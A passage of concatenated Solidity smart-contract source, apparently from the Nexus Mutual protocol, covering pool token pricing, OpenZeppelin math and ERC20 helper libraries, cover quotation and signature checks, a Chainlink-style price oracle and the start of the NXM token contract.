return totalAssetValue.mul(10 ** MCR_RATIO_DECIMALS).div(mcrEth);
}
/**
* @dev Calculates token price in ETH 1 NXM token. TokenPrice = A + (MCReth / C) * MCR%^4
*/
function calculateTokenSpotPrice(uint totalAssetValue, uint mcrEth) public pure returns (uint tokenPrice) {
uint mcrRatio = calculateMCRRatio(totalAssetValue, mcrEth);
uint precisionDecimals = 10 ** TOKEN_EXPONENT.mul(MCR_RATIO_DECIMALS);
return mcrEth
.mul(mcrRatio ** TOKEN_EXPONENT)
.div(CONSTANT_C)
.div(precisionDecimals)
.add(CONSTANT_A);
}
/**
* @dev Returns the NXM price in a given asset
* @param asset Asset name.
*/
function getTokenPrice(address asset) public view returns (uint tokenPrice) {
uint totalAssetValue = getPoolValueInEth();
uint mcrEth = mcr.getMCR();
uint tokenSpotPriceEth = calculateTokenSpotPrice(totalAssetValue, mcrEth);
return priceFeedOracle.getAssetForEth(asset, tokenSpotPriceEth);
}
function getMCRRatio() public view returns (uint) {
uint totalAssetValue = getPoolValueInEth();
uint mcrEth = mcr.getMCR();
return calculateMCRRatio(totalAssetValue, mcrEth);
}
function updateUintParameters(bytes8 code, uint value) external onlyGovernance {
if (code == "MIN_ETH") {
minPoolEth = value;
return;
}
revert("Pool: unknown parameter");
}
function updateAddressParameters(bytes8 code, address value) external onlyGovernance {
if (code == "SWP_OP") {
swapOperator = value;
return;
}
if (code == "PRC_FEED") {
priceFeedOracle = PriceFeedOracle(value);
return;
}
revert("Pool: unknown parameter");
}
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.5.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*
* _Since v2.5.0:_ this module is now much more gas efficient, given net gas
* metering changes introduced in the Istanbul hardfork.
*/
contract ReentrancyGuard {
bool private _notEntered;
constructor () internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/*
Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/
*/
pragma solidity ^0.5.0;
import "./INXMMaster.sol";
contract MasterAware {
INXMMaster public master;
modifier onlyMember {
require(master.isMember(msg.sender), "Caller is not a member");
_;
}
modifier onlyInternal {
require(master.isInternal(msg.sender), "Caller is not an internal contract");
_;
}
modifier onlyMaster {
if (address(master) != address(0)) {
require(address(master) == msg.sender, "Not master");
}
_;
}
modifier onlyGovernance {
require(
master.checkIsAuthToGoverned(msg.sender),
"Caller is not authorized to govern"
);
_;
}
modifier whenPaused {
require(master.isPause(), "System is not paused");
_;
}
modifier whenNotPaused {
require(!master.isPause(), "System is paused");
_;
}
function changeDependentContractAddress() external;
function changeMasterAddress(address masterAddress) public onlyMaster {
master = INXMMaster(masterAddress);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0;
interface IPool {
function transferAssetToSwapOperator(address asset, uint amount) external;
function getAssetDetails(address _asset) external view returns (
uint112 min,
uint112 max,
uint32 lastAssetSwapTime,
uint maxSlippageRatio
);
function setAssetDataLastSwapTime(address asset, uint32 lastSwapTime) external;
function minPoolEth() external returns (uint);
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "../../abstract/MasterAware.sol";
import "../capital/Pool.sol";
import "../claims/ClaimsReward.sol";
import "../claims/Incidents.sol";
import "../token/TokenController.sol";
import "../token/TokenData.sol";
import "./QuotationData.sol";
contract Quotation is MasterAware, ReentrancyGuard {
using SafeMath for uint;
ClaimsReward public cr;
Pool public pool;
IPooledStaking public pooledStaking;
QuotationData public qd;
TokenController public tc;
TokenData public td;
Incidents public incidents;
/**
* @dev Iupgradable Interface to update dependent contract address
*/
function changeDependentContractAddress() public onlyInternal {
cr = ClaimsReward(master.getLatestAddress("CR"));
pool = Pool(master.getLatestAddress("P1"));
pooledStaking = IPooledStaking(master.getLatestAddress("PS"));
qd = QuotationData(master.getLatestAddress("QD"));
tc = TokenController(master.getLatestAddress("TC"));
td = TokenData(master.getLatestAddress("TD"));
incidents = Incidents(master.getLatestAddress("IC"));
}
// solhint-disable-next-line no-empty-blocks
function sendEther() public payable {}
/**
* @dev Expires a cover after a set period of time and changes the status of the cover
* @dev Reduces the total and contract sum assured
* @param coverId Cover Id.
*/
function expireCover(uint coverId) external {
uint expirationDate = qd.getValidityOfCover(coverId);
require(expirationDate < now, "Quotation: cover is not due to expire");
uint coverStatus = qd.getCoverStatusNo(coverId);
require(coverStatus != uint(QuotationData.CoverStatus.CoverExpired), "Quotation: cover already expired");
(/* claim count */, bool hasOpenClaim, /* accepted */) = tc.coverInfo(coverId);
require(!hasOpenClaim, "Quotation: cover has an open claim");
if (coverStatus != uint(QuotationData.CoverStatus.ClaimAccepted)) {
(,, address contractAddress, bytes4 currency, uint amount,) = qd.getCoverDetailsByCoverID1(coverId);
qd.subFromTotalSumAssured(currency, amount);
qd.subFromTotalSumAssuredSC(contractAddress, currency, amount);
}
qd.changeCoverStatusNo(coverId, uint8(QuotationData.CoverStatus.CoverExpired));
}
function withdrawCoverNote(address coverOwner, uint[] calldata coverIds, uint[] calldata reasonIndexes) external {
uint gracePeriod = tc.claimSubmissionGracePeriod();
for (uint i = 0; i < coverIds.length; i++) {
uint expirationDate = qd.getValidityOfCover(coverIds[i]);
require(expirationDate.add(gracePeriod) < now, "Quotation: cannot withdraw before grace period expiration");
}
tc.withdrawCoverNote(coverOwner, coverIds, reasonIndexes);
}
function getWithdrawableCoverNoteCoverIds(
address coverOwner
) public view returns (
uint[] memory expiredCoverIds,
bytes32[] memory lockReasons
) {
uint[] memory coverIds = qd.getAllCoversOfUser(coverOwner);
uint[] memory expiredIdsQueue = new uint[](coverIds.length);
uint gracePeriod = tc.claimSubmissionGracePeriod();
uint expiredQueueLength = 0;
for (uint i = 0; i < coverIds.length; i++) {
uint coverExpirationDate = qd.getValidityOfCover(coverIds[i]);
uint gracePeriodExpirationDate = coverExpirationDate.add(gracePeriod);
(/* claimCount */, bool hasOpenClaim, /* hasAcceptedClaim */) = tc.coverInfo(coverIds[i]);
if (!hasOpenClaim && gracePeriodExpirationDate < now) {
expiredIdsQueue[expiredQueueLength] = coverIds[i];
expiredQueueLength++;
}
}
expiredCoverIds = new uint[](expiredQueueLength);
lockReasons = new bytes32[](expiredQueueLength);
for (uint i = 0; i < expiredQueueLength; i++) {
expiredCoverIds[i] = expiredIdsQueue[i];
lockReasons[i] = keccak256(abi.encodePacked("CN", coverOwner, expiredIdsQueue[i]));
}
}
function getWithdrawableCoverNotesAmount(address coverOwner) external view returns (uint) {
uint withdrawableAmount;
bytes32[] memory lockReasons;
(/*expiredCoverIds*/, lockReasons) = getWithdrawableCoverNoteCoverIds(coverOwner);
for (uint i = 0; i < lockReasons.length; i++) {
uint coverNoteAmount = tc.tokensLocked(coverOwner, lockReasons[i]);
withdrawableAmount = withdrawableAmount.add(coverNoteAmount);
}
return withdrawableAmount;
}
/**
* @dev Makes Cover funded via NXM tokens.
* @param smartCAdd Smart Contract Address
*/
function makeCoverUsingNXMTokens(
uint[] calldata coverDetails,
uint16 coverPeriod,
bytes4 coverCurr,
address smartCAdd,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyMember whenNotPaused {
tc.burnFrom(msg.sender, coverDetails[2]); // needs allowance
_verifyCoverDetails(msg.sender, smartCAdd, coverCurr, coverDetails, coverPeriod, _v, _r, _s, true);
}
/**
* @dev Verifies cover details signed off chain.
* @param from address of funder.
* @param scAddress Smart Contract Address
*/
function verifyCoverDetails(
address payable from,
address scAddress,
bytes4 coverCurr,
uint[] memory coverDetails,
uint16 coverPeriod,
uint8 _v,
bytes32 _r,
bytes32 _s
) public onlyInternal {
_verifyCoverDetails(
from,
scAddress,
coverCurr,
coverDetails,
coverPeriod,
_v,
_r,
_s,
false
);
}
/**
* @dev Verifies signature.
* @param coverDetails details related to cover.
* @param coverPeriod validity of cover.
* @param contractAddress smart contract address.
* @param _v argument from vrs hash.
* @param _r argument from vrs hash.
* @param _s argument from vrs hash.
*/
function verifySignature(
uint[] memory coverDetails,
uint16 coverPeriod,
bytes4 currency,
address contractAddress,
uint8 _v,
bytes32 _r,
bytes32 _s
) public view returns (bool) {
require(contractAddress != address(0));
bytes32 hash = getOrderHash(coverDetails, coverPeriod, currency, contractAddress);
return isValidSignature(hash, _v, _r, _s);
}
/**
* @dev Gets order hash for given cover details.
* @param coverDetails details realted to cover.
* @param coverPeriod validity of cover.
* @param contractAddress smart contract address.
*/
function getOrderHash(
uint[] memory coverDetails,
uint16 coverPeriod,
bytes4 currency,
address contractAddress
) public view returns (bytes32) {
return keccak256(
abi.encodePacked(
coverDetails[0],
currency,
coverPeriod,
contractAddress,
coverDetails[1],
coverDetails[2],
coverDetails[3],
coverDetails[4],
address(this)
)
);
}
/**
* @dev Verifies signature.
* @param hash order hash
* @param v argument from vrs hash.
* @param r argument from vrs hash.
* @param s argument from vrs hash.
*/
function isValidSignature(bytes32 hash, uint8 v, bytes32 r, bytes32 s) public view returns (bool) {
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, hash));
address a = ecrecover(prefixedHash, v, r, s);
return (a == qd.getAuthQuoteEngine());
}
/**
* @dev Creates cover of the quotation, changes the status of the quotation ,
* updates the total sum assured and locks the tokens of the cover against a quote.
* @param from Quote member Ethereum address.
*/
function _makeCover(//solhint-disable-line
address payable from,
address contractAddress,
bytes4 coverCurrency,
uint[] memory coverDetails,
uint16 coverPeriod
) internal {
address underlyingToken = incidents.underlyingToken(contractAddress);
if (underlyingToken != address(0)) {
address coverAsset = cr.getCurrencyAssetAddress(coverCurrency);
require(coverAsset == underlyingToken, "Quotation: Unsupported cover asset for this product");
}
uint cid = qd.getCoverLength();
qd.addCover(
coverPeriod,
coverDetails[0],
from,
coverCurrency,
contractAddress,
coverDetails[1],
coverDetails[2]
);
uint coverNoteAmount = coverDetails[2].mul(qd.tokensRetained()).div(100);
if (underlyingToken == address(0)) {
uint gracePeriod = tc.claimSubmissionGracePeriod();
uint claimSubmissionPeriod = uint(coverPeriod).mul(1 days).add(gracePeriod);
bytes32 reason = keccak256(abi.encodePacked("CN", from, cid));
// mint and lock cover note
td.setDepositCNAmount(cid, coverNoteAmount);
tc.mintCoverNote(from, reason, coverNoteAmount, claimSubmissionPeriod);
} else {
// minted directly to member's wallet
tc.mint(from, coverNoteAmount);
}
qd.addInTotalSumAssured(coverCurrency, coverDetails[0]);
qd.addInTotalSumAssuredSC(contractAddress, coverCurrency, coverDetails[0]);
uint coverPremiumInNXM = coverDetails[2];
uint stakersRewardPercentage = td.stakerCommissionPer();
uint rewardValue = coverPremiumInNXM.mul(stakersRewardPercentage).div(100);
pooledStaking.accumulateReward(contractAddress, rewardValue);
}
/**
* @dev Makes a cover.
* @param from address of funder.
* @param scAddress Smart Contract Address
*/
function _verifyCoverDetails(
address payable from,
address scAddress,
bytes4 coverCurr,
uint[] memory coverDetails,
uint16 coverPeriod,
uint8 _v,
bytes32 _r,
bytes32 _s,
bool isNXM
) internal {
require(coverDetails[3] > now, "Quotation: Quote has expired");
require(coverPeriod >= 30 && coverPeriod <= 365, "Quotation: Cover period out of bounds");
require(!qd.timestampRepeated(coverDetails[4]), "Quotation: Quote already used");
qd.setTimestampRepeated(coverDetails[4]);
address asset = cr.getCurrencyAssetAddress(coverCurr);
if (coverCurr != "ETH" && !isNXM) {
pool.transferAssetFrom(asset, from, coverDetails[1]);
}
require(verifySignature(coverDetails, coverPeriod, coverCurr, scAddress, _v, _r, _s), "Quotation: signature mismatch");
_makeCover(from, scAddress, coverCurr, coverDetails, coverPeriod);
}
function createCover(
address payable from,
address scAddress,
bytes4 currency,
uint[] calldata coverDetails,
uint16 coverPeriod,
uint8 _v,
bytes32 _r,
bytes32 _s
) external onlyInternal {
require(coverDetails[3] > now, "Quotation: Quote has expired");
require(coverPeriod >= 30 && coverPeriod <= 365, "Quotation: Cover period out of bounds");
require(!qd.timestampRepeated(coverDetails[4]), "Quotation: Quote already used");
qd.setTimestampRepeated(coverDetails[4]);
require(verifySignature(coverDetails, coverPeriod, currency, scAddress, _v, _r, _s), "Quotation: signature mismatch");
_makeCover(from, scAddress, currency, coverDetails, coverPeriod);
}
// referenced in master, keeping for now
// solhint-disable-next-line no-empty-blocks
function transferAssetsToNewContract(address) external pure {}
function freeUpHeldCovers() external nonReentrant {
IERC20 dai = IERC20(cr.getCurrencyAssetAddress("DAI"));
uint membershipFee = td.joiningFee();
uint lastCoverId = 106;
for (uint id = 1; id <= lastCoverId; id++) {
if (qd.holdedCoverIDStatus(id) != uint(QuotationData.HCIDStatus.kycPending)) {
continue;
}
(/*id*/, /*sc*/, bytes4 currency, /*period*/) = qd.getHoldedCoverDetailsByID1(id);
(/*id*/, address payable userAddress, uint[] memory coverDetails) = qd.getHoldedCoverDetailsByID2(id);
uint refundedETH = membershipFee;
uint coverPremium = coverDetails[1];
if (qd.refundEligible(userAddress)) {
qd.setRefundEligible(userAddress, false);
}
qd.setHoldedCoverIDStatus(id, uint(QuotationData.HCIDStatus.kycFailedOrRefunded));
if (currency == "ETH") {
refundedETH = refundedETH.add(coverPremium);
} else {
require(dai.transfer(userAddress, coverPremium), "Quotation: DAI refund transfer failed");
}
userAddress.transfer(refundedETH);
}
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
interface Aggregator {
function latestAnswer() external view returns (int);
}
contract PriceFeedOracle {
using SafeMath for uint;
mapping(address => address) public aggregators;
address public daiAddress;
address public stETH;
address constant public ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
constructor (
address _daiAggregator,
address _daiAddress,
address _stEthAddress
) public {
aggregators[_daiAddress] = _daiAggregator;
daiAddress = _daiAddress;
stETH = _stEthAddress;
}
/**
* @dev Returns the amount of ether in wei that are equivalent to 1 unit (10 ** decimals) of asset
* @param asset quoted currency
* @return price in ether
*/
function getAssetToEthRate(address asset) public view returns (uint) {
if (asset == ETH || asset == stETH) {
return 1 ether;
}
address aggregatorAddress = aggregators[asset];
if (aggregatorAddress == address(0)) {
revert("PriceFeedOracle: Oracle asset not found");
}
int rate = Aggregator(aggregatorAddress).latestAnswer();
require(rate > 0, "PriceFeedOracle: Rate must be > 0");
return uint(rate);
}
/**
* @dev Returns the amount of currency that is equivalent to ethIn amount of ether.
* @param asset quoted Supported values: ["DAI", "ETH"]
* @param ethIn amount of ether to be converted to the currency
* @return price in ether
*/
function getAssetForEth(address asset, uint ethIn) external view returns (uint) {
if (asset == daiAddress) {
return ethIn.mul(1e18).div(getAssetToEthRate(daiAddress));
}
if (asset == ETH || asset == stETH) {
return ethIn;
}
revert("PriceFeedOracle: Unknown asset");
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "./external/OZIERC20.sol";
import "./external/OZSafeMath.sol";
contract NXMToken is OZIERC20 {
using OZSafeMath for uint256;
event WhiteListed(address indexed member);
event BlackListed(address indexed member);
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
mapping(address => bool) public whiteListed;
mapping(address => uint) public isLockedForMV;
uint256 private _totalSupply;
string public name = "NXM";
string public symbol = "NXM";
uint8 public decimals = 18;
address public operator;
modifier canTransfer(address _to) {
require(whiteListed[_to]);
_;
}
modifier onlyOperator() {
if (operator != address(0))
require(msg.sender == operator);
_;
}
constructor(address _founderAddress, uint _initialSupply) public {
_mint(_founderAddress, _initialSupply);
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
